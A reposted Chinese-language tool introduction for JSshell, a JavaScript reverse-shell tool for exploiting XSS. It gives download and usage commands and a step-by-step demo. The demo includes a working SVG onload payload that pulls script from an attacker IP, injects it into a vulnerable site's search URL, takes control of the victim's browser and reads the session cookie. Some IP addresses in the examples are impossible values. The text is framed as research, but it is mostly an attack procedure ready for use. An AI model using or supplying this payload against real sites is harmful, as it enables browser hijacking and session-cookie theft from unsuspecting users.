转载自品略图书馆
http://www.pinlue.com/article/2020/07/0620/3510981261248.html
JSshell是一个JavaScript反向Shell工具,该工具可以帮助广大研究人员远程利用XSS漏洞或扫描并发现XSS盲注漏洞。当前版本的JSshell支持在Unix和Windows操作系统上运行,并且同时支持Python2和Python3。跟JShell(某种由s0med3v开发的通过XSS分解获取JavaScript反向Shell的工具)引用,这是一个非常大的更新,而且JSshell还不需要Netcat的支持,这一点跟其他的JavaScript Shell也有很大的区别。
工具下载
广大研究人员可以使用以下命令将JSshell项目源码克隆至本地:
git clone https://github.com/shelld3v/JSshell.git
工具使用
生成JS反向Shell有效载荷:-g
设置本地端口号,用于监听和生成有效载荷(默认设置为4848):-p
设置本地源地址,用于生成有效载荷(JSshell默认将使用设备IP地址):-s
设置shell连接的超时时长,如果用户退出页面,shell将会暂停,如果设置了超时时长,那么在发生无响应之后,shell将会自动关闭:-w
拿到Shell之后,执行命令:-c
快速使用样例
js.pyjs.py -gjs.py -p 1234js.py -s 48.586.1.23 -gjs.py -c "alert(document.cookie)" -w 10
JSshell运行样例
接下来,我们将给大家演示如何一步一步使用JSshell来利用XSS漏洞。
首先,我们将生成一个反向JS Shell有效负载,并设置Shell超时时长为20秒:
~# whoami root ~# ls README.md js.py ~# python3 js.py -g -w 20 __ |(_ _ |_ _ | | \_|__)_> | |(/_ | | v1.0 Payload: <svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)> Listening on [any] 4848 for incoming JS shell ...
接下来,将生成的有效载荷副本到存在XSS突破的网站(或URL)中:
https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)>
访问目标页面,接下来我们将看到已经成功拿到了反向JS Shell:
__ |(_ _ |_ _ | | \_|__)_> | |(/_ | | v1.0Payload:<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>Listening on [any] 4848 for incoming JS shell ...Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848 $ established $ the $ shell $ $ $ help JSshell using javascript code as shell commands. Also supports some commands: help This help exit, quit Exit the JS shell $
现在,我们就可以执行某些命令了:
$ var test = "hacked" $ alert(hacked) $
运行之后,浏览器将弹出一个警告信息:
$ prompt(document.cookie)$
浏览器将会打印出用户Cookie信息:
JSESSION=3bda8... $ exit ~# whoami root ~# pwd /home/shelld3v ~#